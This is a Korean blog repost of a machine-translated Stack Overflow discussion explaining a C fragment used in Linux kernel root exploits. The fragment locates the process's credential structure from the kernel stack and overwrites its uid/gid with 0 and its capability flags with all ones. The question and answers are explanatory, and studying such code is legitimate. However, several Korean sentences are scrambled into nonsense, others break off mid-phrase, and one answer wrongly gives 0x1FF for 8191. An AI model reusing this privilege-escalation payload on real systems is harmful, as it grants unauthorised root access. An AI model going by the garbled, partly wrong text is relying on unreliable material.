programing

악용 코드의 포인터 설명

firstcheck 2022. 7. 3. 18:47
반응형

악용 코드의 포인터 설명

루트 셸을 취득하기 위한 일부 공격에서는 다음과 같은 포인터를 자주 볼 수 있습니다.

int i;
unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191); 

누가 이인 인인 명명 명? ???스택의 합니다.8191은 커널 스택의 입니다. p커널 스택의 하단을 가리킬 수 있습니까?포인터는 다음과 같습니다.p사용되는 것은 다음과 같습니다.

int i; 
unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191); 
for (i = 0; i < 1024-13; i++) { 
    if (p[0] == uid && p[1] == uid && 
        p[2] == uid && p[3] == uid && 
        p[4] == gid && p[5] == gid && 
        p[6] == gid && p[7] == gid) { 
            p[0] = p[1] = p[2] = p[3] = 0; 
            p[4] = p[5] = p[6] = p[7] = 0; 
            p = (unsigned *) ((char *)(p + 8) + sizeof(void *)); 
            p[0] = p[1] = p[2] = ~0; 
            break; 
        } 
    p++; 
} 

입니다.i현재 스택 프레임에 포인터를 가져옵니다.다음 8K로 합니다).x & ~8191- 로, 이는 8191의 2^13 - 1을 의미한다.~819113비트를 제외한 모든 비트가 해당되므로 AND를 수치로 지정하면 13비트가 삭제됩니다.즉, 2^13의 가장 낮은 배수로 숫자를 정렬하면 8K 경계에 정렬됩니다).

그런 다음 이 주소를 포인터에 대한 포인터로 해석하고 포인트에서 포인트된 주소를 로드합니다.자세한 내용은 프로세스 커널 스택에서 task_struct 포인터 가져오기를 참조하십시오.

이되어 있는 하려고 합니다. 내용을 .1024-13 unsigned현재 프로세스 정보(메모리)가 저장되어 있는 메모리 내의 장소를 검색하려고 합니다.현재 UID와 GID의 복사본을 여러 개 보관하고 있는 메모리 조각을 발견하면 찾은 것으로 간주됩니다.이 경우 현재 프로세스가 UID 및 GID 0을 얻도록 수정하고 루트에서 프로세스를 실행합니다(또한 다음 기능 플래그에 모두1을 저장합니다).

참조.

여기에 덧붙일 것이 있기 때문에 또 다른 답변을 올리겠습니다.

unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191); 

결과적으로 p는 메모리의 8192 바이트 크기 블록의 시작에 대한 포인터가 됩니다.하지만 코드가 틀렸습니다.p가 INT_MAX보다 높은 경우(그것은 INT_MAX로 할 수 있거나 부호 없는 길이가 아닌 부호 없는 길이로 주조할 수 있음), 마스크에 의해 상위 비트가 분리됩니다.올바른 코드는 다음과 같습니다.

unsigned *p = *(unsigned**)(((ptrdiff_t)&i) & ~(ptrdiff_t)8191);

또는 uintptr_t를 사용합니다.

unsigned *p = *(unsigned**)(((uintptr_t)&i) & ~(uintptr_t)8191U);

코드가 동작하려면 정수로 캐스트한 후 포인터로 되돌려야 합니다.단, int 크기의 포인터를 사용하려면 ptrdiff_t를 사용해야 합니다(서명된 동작과 서명되지 않은 동작은 비트 단위 동작과 동일합니다).왜 16진수 상수로 쓰지 않는지에 대해서는 누가 신경써요?이런 일을 하는 사람들은 2의 힘을 암기한다.8191을 읽고 0x1FF를 읽는 것이 더 빠를 수 있습니다.

언급URL : https://stackoverflow.com/questions/33295954/explanation-of-a-pointer-in-exploit-code

반응형